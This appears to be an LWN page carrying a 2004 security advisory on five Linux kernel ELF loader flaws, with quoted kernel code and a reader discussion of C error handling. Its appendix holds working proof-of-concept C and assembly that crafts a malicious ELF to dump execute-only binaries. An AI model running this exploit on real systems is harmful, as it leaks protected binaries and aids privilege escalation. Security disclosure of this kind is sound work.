Some Linux kernel security vulnerabilities
From: | Paul Starzetz <ihaquer-AT-isec.pl> | |
To: | full-disclosure-AT-lists.netsys.com, <bugtraq-AT-securityfocus.com> | |
Subject: | Linux ELF loader vulnerabilities | |
Date: | Wed, 10 Nov 2004 12:59:25 +0100 (CET) |
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Synopsis: Linux kernel binfmt_elf loader vulnerabilities Product: Linux kernel Version: 2.4 up to to and including 2.4.27, 2.6 up to to and including 2.6.8 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt CVE: not assigned Author: Paul Starzetz <ihaquer@isec.pl> Date: Nov 10, 2004 Issue: ====== Numerous bugs have been found in the Linux ELF binary loader while handling setuid binaries. Details: ======== On Unix like systems the execve(2) system call provides functionality to replace the current process by a new one (usually found in binary form on the disk) or in other words to execute a new program. Internally the Linux kernel uses a binary format loader layer to implement the low level format dependend functionality of the execve() system call. The common execve code contains just few helper functions used to load the new binary and leaves the format specific work to a specialized binary format loader. One of the Linux format loaders is the ELF (Executable and Linkable Format) loader. Nowadays ELF is the standard format for Linux binaries besides the a.out binary format, which is not used in practice anymore. One of the functions of a binary format loader is to properly handle setuid executables, that is executables with the setuid bit set on the file system image of the executable. It allows execution of programs under a different user ID than the user issuing the execve call but is some lacy work from security point of view. Every ELF binary contains an ELF header defining the type and the layout of the program in memory as well as addition sections (like which program interpreter to load, symbot table, etc). The ELF header normally contains information about the entry point (start address) of the binary and the position of the memory map header (phdr) in the binary image and the program interpreter (that is normally the dynamic linker ld- linux.so). The memory map header definies the memory mapping of the executable file that can be seen later from /proc/self/maps. We have indentified 5 different flaws in the Linux ELF binary loader (linux/fs/binfmt_elf.c all line numbers for 2.4.27): 1) wrong return value check while filling kernel buffers (loop to scan the binary header for an interpreter section): static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs) { size = elf_ex.e_phnum * sizeof(struct elf_phdr); elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL); if (!elf_phdata) goto out; 477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size); if (retval < 0) goto out_free_ph; The above code looks good on the first glance, however checking the return value of kernel_read (which calls file->f_op->read) to be non- negative is not sufficient since a read() can perfectly return less than the requested buffer size bytes. This bug happens also on lines 301, 523, 545 respectively. 2) incorrect on error behaviour, if the mmap() call fails (loop to mmap binary sections into memory): 645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) { 684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags); if (BAD_ADDR(error)) continue; 3) bad return value vulnerability while mapping the program intrepreter into memory: 301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size); error = retval; if (retval < 0) goto out_close; eppnt = elf_phdata; for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) { map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type); 322: if (BAD_ADDR(map_addr)) goto out_close; out_close: kfree(elf_phdata); out: return error; } 4) the loaded interpreter section can contain an interpreter name string without the terminating NULL: 508: for (i = 0; i < elf_ex.e_phnum; i++) { 518: elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz, GFP_KERNEL); if (!elf_interpreter) goto out_free_file; retval = kernel_read(bprm->file, elf_ppnt->p_offset, elf_interpreter, elf_ppnt->p_filesz); if (retval < 0) goto out_free_interp; 5) bug in the common execve() code in exec.c: vulnerability in open_exec() permitting reading of non-readable ELF binaries, which can be triggered by requesting the file in the ELF PT_INTERP section: 541: interpreter = open_exec(elf_interpreter); retval = PTR_ERR(interpreter); if (IS_ERR(interpreter)) goto out_free_interp; retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE); Discussion: ============= 1) The Linux man pages state that a read(2) can return less than the requested number of bytes, even zero. It is not clear how this can happen while reading a disk file (in contrast to network sockets), however here some thoughts: - - if we trick read to fill the elf_phdata buffer with less than size bytes, the remaining part of the buffer will contain some garbage data, that is data from the previous kernel object, which occupied that memory area. Therefore we could arbitrarily modify the memory layout of the binary supplying a suitable header information in the kernel buffer. This should be sufficient to gain controll over the flow of execution for most of the setuid binaries around. - - on Linux a disk read goes through the page cache. That is, a disk read can easily fail on a page boundary due to a low memory condition. In this case read will return less than the requested number of bytes but still indicate success (ret>0). - - most of the standard setuid binaries on a 'normal' i386 Linux installation have ELF headers stored below the 4096th byte, therefore they are probably not exploitable on i386 architecture. 2) This bug can lead to a incorrectly mmaped binary image in the memory. There are various reasons why a mmap() call can fail: - - a temporary low memory condition, so that the allocation of a new VMA descriptor fails - - memory limit (RLIMIT_AS) excedeed, which can be easily manpipulated before calling execve() - - file locks held for the binary file in question Security implications in the case of a setuid binary are quite obvious: we may end up with a binary without the .text or .bss section or with those sections shifted (in the case they are not 'fixed' sections). It is not clear which standard binaries are exploitable however it is sufficient that at some point we come over some instructions that jump into the environment area due to malformed memory layout and gain full controll over the setuid application. 3) This bug is similar to 2) however the code incorrectly returns the kernel_read status to the calling function on mmap failure which will assume that the program interpreter has been loaded. That means that the kernel will start the execution of the binary file itself instead of calling the program interpreter (linker) that have to finish the binary loading from user space. We have found that standard Linux (i386, GCC 2.95) setuid binaries contain code that will jump to the EIP=0 address and crash (since there is no virtual memory mapped there), however this may vary from binary to binary as well from architecture to architecture and may be easily exploitable. 4) This bug leads to internal kernel file system functions beeing called with an argument string exceeding the maximum path size in length (PATH_MAX). It is not clear if this condition is exploitable. An user may try to execute such a malicious binary with an unterminated interpreter name string and trick the kernel memory manager to return a memory chunk for the elf_interpreter variable followed by a suitable longish path name (like ./././....). Our experiments show that it can lead to a preceivable system hang. 5) This bug is similar to the shared file table race [1]. We give a proof-of-concept code at the end of this article that just core dumps the non-readable but executable ELF file. An user may create a manipulated ELF binary that requests a non-readable but executable file as program intrepreter and gain read access to the privileged binary. This works only if the file is a valid ELF image file, so it is not possible to read a data file that has the execute bit set but the read bit cleared. A common usage would be to read exec-only setuid binaries to gain offsets for further exploitation. Impact: ======= Unprivileged users may gain elevated (root) privileges. Credits: ======== Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. Disclaimer: =========== This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied. The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. Appendix: ========= /* * * binfmt_elf executable file read vulnerability * * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <linux/elf.h> #define BADNAME "/tmp/_elf_dump" void usage(char *s) { printf("\nUsage: %s executable\n\n", s); exit(0); } // ugly mem scan code :-) static volatile void bad_code(void) { __asm__( // "1: jmp 1b \n" " xorl %edi, %edi \n" " movl %esp, %esi \n" " xorl %edx, %edx \n" " xorl %ebp, %ebp \n" " call get_addr \n" " movl %esi, %esp \n" " movl %edi, %ebp \n" " jmp inst_sig \n" "get_addr: popl %ecx \n" // sighand "inst_sig: xorl %eax, %eax \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" "ld_page: movl %ebp, %eax \n" " subl %edx, %eax \n" " cmpl $0x1000, %eax \n" " jle ld_page2 \n" // mprotect " pusha \n" " movl %edx, %ebx \n" " addl $0x1000, %ebx \n" " movl %eax, %ecx \n" " xorl %eax, %eax \n" " movb $125, %al \n" " movl $7, %edx \n" " int $0x80 \n" " popa \n" "ld_page2: addl $0x1000, %edi \n" " cmpl $0xc0000000, %edi \n" " je dump \n" " movl %ebp, %edx \n" " movl (%edi), %eax \n" " jmp ld_page \n" "dump: xorl %eax, %eax \n" " xorl %ecx, %ecx \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" " movl $0xdeadbeef, %eax \n" " jmp *(%eax) \n" ); } static volatile void bad_code_end(void) { } int main(int ac, char **av) { struct elfhdr eh; struct elf_phdr eph; struct rlimit rl; int fd, nl, pid; if(ac<2) usage(av[0]); // make bad a.out fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); nl = strlen(av[1])+1; memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 2; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header(s) memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_INTERP; eph.p_offset = sizeof(eh) + 2*sizeof(eph); eph.p_filesz = nl; write(fd, &eph, sizeof(eph) ); memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = 0x0000; eph.p_flags = PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // .interp write(fd, av[1], nl ); // execable code nl = &bad_code_end - &bad_code; lseek(fd, 4096, SEEK_SET); write(fd, &bad_code, 4096); close(fd); // dump the shit rl.rlim_cur = RLIM_INFINITY; rl.rlim_max = RLIM_INFINITY; if( setrlimit(RLIMIT_CORE, &rl) ) perror("\nsetrlimit failed"); fflush(stdout); pid = fork(); if(pid) wait(NULL); else execl(BADNAME, BADNAME, NULL); printf("\ncore dumped!\n\n"); unlink(BADNAME); return 0; } - -- Paul Starzetz iSEC Security Research http://isec.pl/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH NgTqTlQ2xmIfX6P5JXMpqqs= =WF4V -----END PGP SIGNATURE-----
Posted Nov 10, 2004 21:58 UTC (Wed)
by ibukanov (subscriber, #3942)
[Link] (13 responses)
I am not sure that even sophisticated preconditions/postconditions with design-by-contract programming in Eiffel would prevent them.
So the question is what tools/techniques can help to track such bugs automatically?
Posted Nov 10, 2004 22:42 UTC (Wed)
by NAR (subscriber, #1313)
[Link] (12 responses)
I'm way too sleepy to understand the mentioned bugs but it looks to me that the basic problem is that in C lots of functions use the return value to indicate error and to return valuable data. Its consequence is that it's easy to mess it up (classic examples are the atoi() and inet_addr()) while in e.g. Java, a call like read() returns the read data like in C, but when there is an error, it throws an IOException that the developer must handle.
Posted Nov 10, 2004 23:09 UTC (Wed)
by clugstj (subscriber, #4020)
[Link] (1 responses)
Posted Nov 10, 2004 23:27 UTC (Wed)
by khim (subscriber, #9252)
[Link]
Posted Nov 10, 2004 23:35 UTC (Wed)
by iabervon (subscriber, #722)
[Link] (4 responses)
Some are returning a non-error when responding to an error condition. This is reasonably easy to do if you're catching exceptions, but less likely because you can just declare the exception in your throws clause and avoid resignalling the error. It is still possible to end your catch block with "return;" instead of "throw e;" when you want to do something in the error path but resignal the same error.
There's something leading to a minor memory error, which would probably be blocked in Java.
The last one is an actual logic error: the kernel checks whether you can execute a file, and then reads it into your address space without checking whether you can read it.
It would be interesting to see if sparse could be extended to know whether the kernel has any good reason to believe strings to be terminated. Off the top of my head, it seems like it could keep track of this, assuming you want to be paranoid, which is wise in any case.
Posted Nov 12, 2004 2:01 UTC (Fri)
by giraffedata (guest, #1954)
[Link] (3 responses)
That isn't per se an error. Unix is designed to have it possible for a file to be loaded into your address space that you don't have read permission to -- an execute-only file.
Maybe the designer here thought that it would be impossible for the user to see the contents of the address space; i.e. that the program interpreter could be execute-only like any other program.
I can't tell from the paper just what the bug or the exploit is, so I can't say what the real nature of the error is, though.
Posted Nov 12, 2004 17:57 UTC (Fri)
by iabervon (subscriber, #722)
[Link] (2 responses)
Posted Nov 13, 2004 18:38 UTC (Sat)
by giraffedata (guest, #1954)
[Link] (1 responses)
The dynamic linker gets called like any other program (you can exec() it if you want), so it's not obvious that e.g. /sbin/mount would crash if you named it as the ELF interpreter (dynamic linker) for your program /home/hacker/hack. It would just complain about nonsensical arguments. And since /sbin/mount will definitely not transfer control to the text of /home/hacker/hack, said program can't look at the text of /sbin/mount.
I believe there is some black magic that keeps the text of /sbin/mount from ending up in a core dump file if it is --x and you run it the normal way and it crashes. Maybe that black magic is missing for the case that /sbin/mount is running in place of the dynamic linker. I know the execute-only concept is fragile; people are warned not to rely on it.
It seems reasonable to me that Linux would be designed to allow for --x dynamic linkers.
Posted Nov 14, 2004 0:14 UTC (Sun)
by iabervon (subscriber, #722)
[Link]
In fact, the kernel loads the interpreter as well as loading the program you called exec() on, and runs the program with the interpreter loaded into memory in a predictable way. Actually, I think a statically linked program which specified an interpreter would just have that file loaded for it, and could just read it without executing it.
I know that setuid programs don't dump core; non-readable ones might behave the same way (/sbin/mount is both).
Posted Nov 10, 2004 23:57 UTC (Wed)
by jwb (guest, #15467)
[Link] (4 responses)
return_value_or_status = function(args);
I prefer to see:
status = function(&return_value, args);
Which also has the advantage that more than one value can be returned. read(2), in particular, is almost impossible to use, and this goes for all Unix across all time, not just for Linux. The conflation of the file position and the status of the result is very confusing. And, if read returns -1, there's absolutely nothing you can do about it without closing the fd and starting from scratch (because the file position becomes undefined).
Okay, the whole Unix API is hard to use, and so is C ;)
Posted Nov 11, 2004 0:39 UTC (Thu)
by jreiser (subscriber, #11027)
[Link]
In most cases (EAGAIN, EISDIR, EBADF, EINVAL, EFAULT, and non-POSIX EINTR) you can interpret errno and resume. Only for EIO or for POSIX EINTR is there the possibility of undefined position, and some of that is due to POSIX allowing the kernel a choice of what to do with EINTR. As long as the fd is seekable and the error condition is transient, then the program can recover by seeking to any previous known-good position [the program must track such positions] and resuming. Also, if the fd is seekable then the current position can be determined using lseek(fd, (off_t)0, SEEK_CUR). All in all, that is a long way from being forced to close the fd and start from scratch. In practice, read() on a disk file is very well behaved, especially for reads of 1 sector. [Reading from a socket is different.]
Posted Nov 11, 2004 3:58 UTC (Thu)
by uriel (guest, #20754)
[Link] (2 responses)
Posted Nov 11, 2004 14:42 UTC (Thu)
by melauer (guest, #2438)
[Link]
The pencil and paper which I use as a word processor doesn't have these vulnerabilities either. Now that's secure design!
Posted Nov 11, 2004 16:06 UTC (Thu)
by smurf (subscriber, #17840)
[Link]
I don't know about the in-kernel stuff, but Plan9's basic read() system call doesn't differ much from common Unix semantics -- including short reads -- and thus I kindof doubt that the inside is different.
These vulnerabilities are interesting in that they do not involve buffer overflows or access to uninitialized memory. In fact they would present if that code would be Python or Java etc. Some Linux kernel security vulnerabilities
In fact they would present if that code would be Python or Java etc. [...] So the question is what tools/techniques can help to track such bugs automatically?
Some Linux kernel security vulnerabilities
No, not MUST handle, can handle. Imagine the chaos if an unhandled exception occurred in the kernel.Some Linux kernel security vulnerabilities
Java will not compile code with unhandled exceptions so, yes must handle indeed. Unfortunatelly there are some exceptions which can be ignored (like overflow in i++). Not sure if it's good thing or bad thing.
Some Linux kernel security vulnerabilities
Some of the bugs are failures to handle short reads correctly, which would apply to any system (not language; it's a question of the behavior of the code) which could return some data without returning all of it.Some Linux kernel security vulnerabilities
The last one is an actual logic error: the kernel checks whether you can execute a file, and then reads it into your address space without checking whether you can read it.
Some Linux kernel security vulnerabilities
IIRC, you should only be able to access a --x file by calling exec on it, which will cause the process to be replaced with the code loaded from the file. It replaces your address space, so it's never in "your" address space ("you" in this case being code of your choice; the address space will be still associated with your uid). The bug here is that you can cause a program with your code (rwx) to try to use a --x file as a dynamic linker. When it crashes, which it probably will as a --x file isn't going to be intended as a dynamic linker, the contents are in the core dump. If it doesn't crash, the program can read it.Some Linux kernel security vulnerabilities
exec-only ELF interpreter
You can exec() the dynamic linker if you want, but that's not what dynamically linked executables do. It's a bit confusing, because the dynamic linker these days is also a program which will dynamically link and run its argument. However, it doesn't work for everything: if you do /lib/ld.so /sbin/mount, it will complain that it can't read /sbin/mount (since it can't). For that matter, this doesn't give root priviledges to setuid programs, since the dynamic linker isn't setuid, and the program isn't being execed. Actually, the main reason that the dynamic linker is executable is so that ldd can call it to get the info. (Also, don't confuse this with the shell interpreter, where it execs the interpreter with standard in redirected from the file).exec-only ELF interpreter
I agree that this is a common trap in C programming. Instead of:Some Linux kernel security vulnerabilities
And, if read returns -1, there's absolutely nothing you can do about it without closing the fd and starting from scratch (because the file position becomes undefined).
file position after error from read()
As usual, this was fixed in Plan 9 many years ago.Some Linux kernel security vulnerabilities
> As usual, this was fixed in Plan 9 many years ago.Some Linux kernel security vulnerabilities
> As usual, this was fixed in Plan 9 many years ago.Some Linux kernel security vulnerabilities